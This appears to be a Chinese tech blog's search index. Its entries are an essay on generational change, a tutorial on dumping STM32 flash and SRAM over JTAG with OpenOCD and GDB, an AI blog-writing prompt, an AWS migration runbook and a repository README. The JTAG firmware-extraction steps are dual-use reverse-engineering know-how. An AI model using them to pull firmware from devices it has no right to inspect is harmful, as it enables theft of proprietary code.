这段话就是道格拉斯·亚当斯（《银河系漫游指南》作者）令人印象深刻的科技三定律。\n又一次，表弟来到家里玩，拿着一颗弹珠问道：“哥，这个是什么东西啊”，这时候我突然感觉时代这个词，第一次在眼前如此的赫然醒目。笑谈着：“自己真实老了”，但是细细思之。只是诞生在时间轴上t坐标的两个点，其中的差距却是如此的微妙。\n小时候，父亲讲起了自己的童年故事，那时候土地改革。\n可是那时候的我，显然只是听个故事一样。因为我们的年代，完全没有这些东西的半点的影子呀。\n可是现在慢慢的我很惊奇于一个问题：自己将会如何的和自己的孩子讲述着我们这一代的人的过去呢？。比如，那时候我们用的是安卓手机？或者不能天天迟到自己喜欢的好东西？\n我们的幸福敢可能不是线性增加的东西。\n每每我想起未来，高声的忘我的谈论着，总是有人感觉这是无稽的笑谈。\n","date":"2018-01-31T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2018/01/2018-01-31-%E6%9C%AA%E6%9D%A5%E5%B7%B2%E6%9D%A5/","tags":null,"title":"未来已来"},{"categories":"安全","contents":"背景 终于难得闲暇和久违的激情 , 赶紧动手 , 这次也是初步的体验 , 所以目的就是简单的 dump 程序 , 和基本反汇编\n工具集介绍 软件部分 OpenOCD Open On-Chip Debugger 著名的开源硬件调试器 支持多种的 调试器 (St-link)(jlink) 之类的符合JTAG标准的 支持多种 MPU 调试 只要是主流的都有(这次用到的 STM32F1x 默认有了配置文件)\nhttp://openocd.zylin.com/ 这里附上配置文件下载地址可以选择不同的 mpu\nArm-none-edbi-* ARM 裸机使用的工具链 (注意是 none 不是 linux) 这里主要提供调试 的 RunTime\ngdb GDB, the GNU Project debugger 著名开源调试器 这里用于代替 OCD 的调试 , 毕竟还是专业许多 我们需要的功能虽然 OCD 就可以实现 , 但是使用GDB 还是方便很多\n硬件部分 由于也是初步尝试 , 所以直接找了正点原子的 战舰开发板 (我们要使用的就是 JTAG 调试口, 当然开发板已经接好了)\n战舰F1开发板 * 1 采用的 STM32F1X 系列的 MPU 这个型号很重要 , 这个就决定了我们要dump的地址 这样才能 找到flash 和sram 等 Jlink * 1 (当然国产寨版) 这个就是淘宝货 , 简单暴力 , 久经沙场 , 人手一个 , 纵横江湖 动手 该接的先都接上 (电源 jlink blah..) 运行OCD openocd -f interface/jlink.cfg -f target/stm32f1x.cfg 这里的两个 f 是指定的配置文件, 大众器件 所以自带的都有, 要是没有的话就在上面给出的网址下载即可 ​ (这个不是全路径 是相对与 ocd 的安装目录 )\n运行之后 , 效果如图 ​ 这样显示之后 , 说明调试器链接正常 , 且已经进入调试模式\nOCD命令 OCD在 成功 介入JTAG之后 会返回一个 4444 的 tty控制台 我们直接 telnet上去 ​\ntelnet localhost 4444 ​ 这里就会返回一个 OCD 的调试会话 ​ 现在已经控制CPU了(help 一大堆 不再赘述) ​ 由于我们是要对固件进行dump, 所以只要已经运行, 我们把内存, 和flash 的数据抓出来就好了 ​\n​\nhalt #执行halt语句 (CPU 暂停) GDB Attach 实际上直接使用OCD 可以达到效果, 不过使用GDB 辅助, 使得操作容易方便(可以TAB)\ngdb #先运行GDB (gdb) target remote localhost:3333 ​ 执行完后 DGB attach 完成 ​ (现在已经拿到了 CPU 的shell 可以为所欲为了)\nDUMP(重要) 终于到了最为核心的一步,就是firmware的dump操作 首先我们需要的最重要的 的东西就是内存映射图 这个就相当于我们的 地图一样 告诉我们哪里有 什么数据 , 哪里是什么东西 (这里就需要查看芯片手册) 在手册的第四节 Memory Mapping中 (图挺大 截取需要部分) 我们需要Dump的有\nFlash (装代码的你说呢) SRAM (运行时候产生有趣的东西) 这样我们查看映射图可以得到信息\nflash的映射地址是 0x08000000 ~ 0x0807ffff (512KB) sram的映射地址是 0x20000000 ~ 0x2000ffff (64K) 所以下面我们在gdb 中 把他们dump出来就好\ndump binary memory 32_sram.bin 0x20000000 0x2000ffff dump binary memory 32_flash.bin 0x08000000 0x0807ffff 上述命令就是以二进制形式 Dump 内存 和 flash 的数据出来\n查看文件 大小就是我们的存储空间 到这里 本次 DUMP 完毕\n后记 这里 只是逆向的初步,分析才是关键 得到 flash 和 sram 数据后 使用 IDA 进行 操作 (这才是逆向)\n","date":"2017-11-16T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2017/11/2017-11-16-stm32-%E9%80%86%E5%90%91%E5%88%9D%E6%AD%A5/","tags":["安全","逆向"],"title":"STM32 逆向初步"},{"categories":null,"contents":"博客文章生成助手 任务 根据用户提供的文章草稿、初稿或话题素材，生成一篇完善的技术博客文章，并直接修改原文件。\n输入 用户会提供草稿文件、不完整的文章或话题素材 文章可能包含碎片化的想法、不完整的结构或需要优化的内容 输出要求 文章头部信息（Front Matter） 必须包含完整的 YAML 格式头部信息：\n--- title: \u0026#34;文章标题（简洁有力，准确概括主题）\u0026#34; date: \u0026#34;YYYY-MM-DD\u0026#34; categories: - \u0026#34;分类名称\u0026#34;（单个分类，如：区块链、折腾笔记、每周分享、OP之路、 杂文集） tags: - \u0026#34;标签1\u0026#34; - \u0026#34;标签2\u0026#34; - \u0026#34;标签3\u0026#34;（3-5个相关标签） --- 头部信息规范：\ntitle：清晰描述文章主题，可以使用冒号分隔主副标题 date：使用用户提供的日期，若无则使用当前日期 categories：选择最相关的单一分类 常用分类：区块链、折腾笔记、每周分享、玩点什么、OP之路、职业与自由、devops tags：3-5个精准的关键词标签，帮助读者快速了解内容 内容要求 长度：根据主题复杂度，通常 2000-8000 字 质量标准：必须满足以下至少 2 个特点 实用性：提供可操作的方案或深度见解 完整性：从问题到解决方案的完整闭环 专业性：展现技术深度和实践经验 风格参数配置 1. 正式度 (Formality) 级别：4/5 （1=极度随意，5=正式专业） 说明：以规范的书面表达为主，语言简洁直白，不拐弯抹角，偶尔使用技术圈内用语 2. 情感强度 (Emotional Intensity) 级别：2.5/5 （1=客观中立，5=情感饱满） 说明：客观理性为主，偶尔加入个人观察和判断，表达克制不夸张 3. 互动性 (Engagement) 级别：2.5/5 （1=单向陈述，5=强互动） 说明：以知识分享和方案陈述为主，文末可能有简单互动引导（如\u0026quot;希望这篇文章能帮到\u0026hellip;\u0026quot;） 4. 复杂度 (Complexity) 级别：3.5/5 （1=极简单句，5=复杂句式） 说明：多用中短句，结构清晰，重视列表和段落的组织，逻辑层次分明 5. 专业性 (Technical Level) 级别：4.5/5 （1=通俗白话，5=专业术语密集） 说明：假设读者有技术背景，直接使用专业术语（Homelab/K8s/Docker/Tailscale/mDNS等）无需解释基础概念 6. 创新度 (Creativity) 级别：3.5/5 （1=传统保守，5=大胆创新） 说明：善于提供实用方案和独特视角，从实践经验中总结规律和本质，注重可行性 7. 节奏感 (Pacing) 级别：快节奏 （快/中/慢） 说明：采用\u0026quot;前-正文-后\u0026quot;三段式结构，快速切入主题，重视实操细节，信息密度高 8. 视角 (Perspective) 类型：第一人称经验分享 说明：以\u0026quot;我\u0026quot;的实践和踩坑经验为基础（如\u0026quot;在我的Homelab中\u0026quot;\u0026ldquo;这里需要注意\u0026rdquo;），提供可复现的解决方案 个人风格偏好说明 核心特征：实践导向的技术分享者\n表达方式 三段式结构：采用\u0026quot;前-正文-后\u0026quot;的清晰结构，快速切入主题 简洁直白：语言直接，不拐弯抹角，观点清晰明确 问题导向：以实际问题或需求为切入点，强调\u0026quot;痛点\u0026quot;和解决方案 实操详尽：提供大量代码块、配置文件、命令行示例，注重可复现性 经验分享：分享踩坑经验和最佳实践，提供具体的注意事项 内容特点 技术深度：涉及 Homelab、网络配置、容器化、自托管、区块链等专业领域 方案完整：从硬件、网络、软件到配置，提供全栈式解决方案 工具推荐：经常推荐开源工具和实用资源，支持自托管和隐私保护 理念传递：追求极简主义、可持续性、财务自由等价值观 列表结构：大量使用有序/无序列表来组织信息，便于快速浏览 修辞特点 Emoji使用：极少使用，几乎不用emoji 引用块强调：用引用块(\u0026gt;)来突出关键观点或核心理念 代码块丰富：提供大量配置示例和命令，格式规范清晰 分段清晰：使用二级、三级标题合理组织内容，层次分明 具体案例：用实际配置参数、工具名称、版本号等具体信息支撑观点 典型句式示例 \u0026ldquo;在我思考了\u0026hellip;之后，得出结论：\u0026rdquo; （经验总结） \u0026ldquo;这里需要注意\u0026hellip;\u0026rdquo; （提醒要点） \u0026ldquo;总的来说，这种方案具备以下优势：\u0026rdquo; （方案评估） \u0026ldquo;至此\u0026hellip;的配置就完成了\u0026rdquo; （阶段总结） \u0026ldquo;就这样！\u0026rdquo; （收尾） \u0026ldquo;希望这篇文章能够帮助到\u0026hellip;\u0026rdquo; （互动引导） \u0026ldquo;这一步可选\u0026hellip;\u0026rdquo; （实践建议） \u0026ldquo;但是在实际使用的时候遇到了问题：\u0026rdquo; （踩坑分享） 风格要求（基于以上参数） 语气：客观理性，简洁直白，专业务实，不夸张不煽情 表现手法： Emoji几乎不使用，保持文本的专业性 采用\u0026quot;前-正文-后\u0026quot;三段式结构，快速切入主题 大量使用列表、代码块、引用块来组织信息 提供完整的配置示例和命令行指令 注重实践细节和踩坑经验的分享 使用二级、三级标题合理分段，层次清晰 假设读者有技术背景，直接使用专业术语 以第一人称分享经验（\u0026ldquo;在我的Homelab中\u0026quot;\u0026ldquo;这里需要注意\u0026rdquo;） 强调方案的可持续性、整体性、便利性等价值观 文末可能有简单的互动引导或资源链接 文章结构要求 参考标准博客格式（如 MEV深度学习.md），文章应包含：\n1. 完整的头部信息（Front Matter） --- title: \u0026#34;文章标题\u0026#34; date: \u0026#34;2024-XX-XX\u0026#34; categories: - \u0026#34;分类\u0026#34; tags: - \u0026#34;标签1\u0026#34; - \u0026#34;标签2\u0026#34; --- 2. 三段式结构 # 前（可选，但推荐）\n快速引入主题，说明写作动机 分享个人经历或观察到的问题 明确文章要解决什么问题 长度：1-3段 正文部分（核心内容）\n使用清晰的二级标题（##）组织内容 根据需要使用三级标题（###）细分 大量使用列表、代码块、引用块 提供完整的配置示例和实操步骤 分享踩坑经验和注意事项 # 后（可选，但推荐）\n总结核心要点 提供进阶学习资源 分享后续计划或思考 简单的互动引导 3. 格式规范 标题层级：\n# 前 / # 后：一级标题（仅用于前后部分） ## 主要章节：二级标题（正文主要部分） ### 子章节：三级标题（详细内容） 代码块：使用三个反引号，标注语言类型\n// 示例代码 引用块：用于强调核心观点\n这是一个重要的观点\n列表：用于组织要点、步骤、配置项等\n有序列表用于步骤 无序列表用于并列要点 强调：使用 **粗体** 强调关键词，避免过度使用\n输出格式 直接修改原文件，不创建新文件。修改后的文章应该：\n包含完整的 Front Matter 采用标准的三段式结构 补充和完善不完整的内容 优化语言表达，确保流畅易读 添加必要的代码示例、配置说明 保持原作者的核心观点和个人经历 执行步骤 分析原文：理解原文的核心主题、结构和完整度 补充头部：根据内容添加合适的 title、categories、tags 优化结构：按照\u0026quot;前-正文-后\u0026quot;组织内容，添加合理的标题层级 完善内容： 补充不完整的论述 添加实操细节（代码、配置、命令） 用列表组织零散的要点 用引用块强调核心观点 语言优化：简洁直白，专业务实，符合博客文风 修改原文件：保存到原文件路径 注意事项 保留原意：不改变作者的核心观点和个人经历 补充细节：为技术方案添加具体的实现代码和配置 结构清晰：确保标题层级合理，逻辑流畅 实用导向：突出可操作性和实践价值 格式规范：严格遵循 Markdown 语法和博客格式要求 ","date":null,"permalink":"https://blogs.12ms.xyz/draft/prompt/","tags":null,"title":""},{"categories":null,"contents":"需求 job、web、数据库、redis迁移aws 1、下线删除双写数据的任务 2、mysql、web redis、celery redis切换为aws实例 3、server redis切换为aws实例 4、celery beat、worker配置文件分别切换为celery_beat_ubuntu.conf、celery_worker_ubuntu.conf\n部署 迁移前验证 # 1、mysql抽取部分表做一致性验证（运维操作） # balance、balance_history、pplns_round、pplns_profit、pps_profit # 2、server双写数据验证 python deploy/v3.12.1/redis_double_write_check.py # 3、 在所有机器上执行，先更新代码，再次验证新数据库的访问是否正常（aws job要先切回master分支） python tools/deploy/new_machine_test.py test_celery_redis python tools/deploy/new_machine_test.py test_mysql python tools/deploy/new_machine_test.py test_web_redis python tools/deploy/new_machine_test.py test_server_redis 迁移 停aliyun job，并查看进程是否都退出 supervisorctl stop all # 检查job是否退出完 ps -ef|grep celery # kill所有worker sudo pkill -f \u0026#39;run_celery.celery\u0026#39; # 再次检查 ps -ef|grep celery 停aws job，并查看进程是否都退出 supervisorctl stop all # 检查job是否退出完 ps -ef|grep celery # kill所有worker sudo pkill -f \u0026#39;run_celery.celery\u0026#39; # 再次检查 ps -ef|grep celery 停aws web，然后web域名切换到aws可以进行 停aws admin、aws saas、aliyun web 等待1分钟数据同步完 重启aws web, saas，admin 启动aws job sudo supervisorctl update ","date":null,"permalink":"https://blogs.12ms.xyz/draft/%E9%9C%80%E6%B1%82/","tags":null,"title":""},{"categories":null,"contents":"博客内容仓库 这是一个独立的博客内容仓库，包含所有文章、草稿和页面内容。\n📁 目录结构 . ├── posts/ # 已发布的文章 │ ├── 2017/ │ ├── 2018/ │ ├── ... │ └── 2024/ ├── draft/ # 草稿文章 ├── about/ # 关于页面 ├── friendlink/ # 友情链接 ├── list-of-read/ # 阅读列表 ├── privacy-policy/ # 隐私政策 └── _index.md # 首页内容 🎯 使用说明 作为独立仓库 此仓库可以独立管理，方便内容备份和迁移。\n集成到站点 通过 Git Submodule 集成到 Hugo 站点：\n# 在站点仓库中添加此内容仓库 git submodule add \u0026lt;此仓库URL\u0026gt; content git submodule update --init --recursive ✍️ 写作规范 文章命名 格式：YYYY-MM-DD-title.md 示例：2024-10-08-my-article.md Front Matter 模板 --- title: \u0026#34;文章标题\u0026#34; date: 2024-10-08 draft: false tags: [\u0026#34;标签1\u0026#34;, \u0026#34;标签2\u0026#34;] categories: [\u0026#34;分类\u0026#34;] --- 🔄 内容同步 更新内容 git add . git commit -m \u0026#34;更新文章: 标题\u0026#34; git push 站点更新内容 在站点仓库中：\ncd content git pull origin master cd .. git add content git commit -m \u0026#34;更新内容\u0026#34; 📝 文章统计 总文章数：约 200+ 篇 时间范围：2017 - 2024 主要分类：区块链、技术、DevOps、云原生 🚀 迁移优势 ✅ 独立管理 - 内容与站点配置分离\n✅ 版本控制 - 独立的内容版本历史\n✅ 易于迁移 - 可迁移到任何静态站点生成器\n✅ 协作友好 - 可单独授权内容编辑\n✅ 备份简单 - 独立备份内容仓库\n📄 许可证 内容采用 Creative Commons Attribution-NonCommercial 4.0 International License.\n","date":null,"permalink":"https://blogs.12ms.xyz/readme/","tags":null,"title":""}]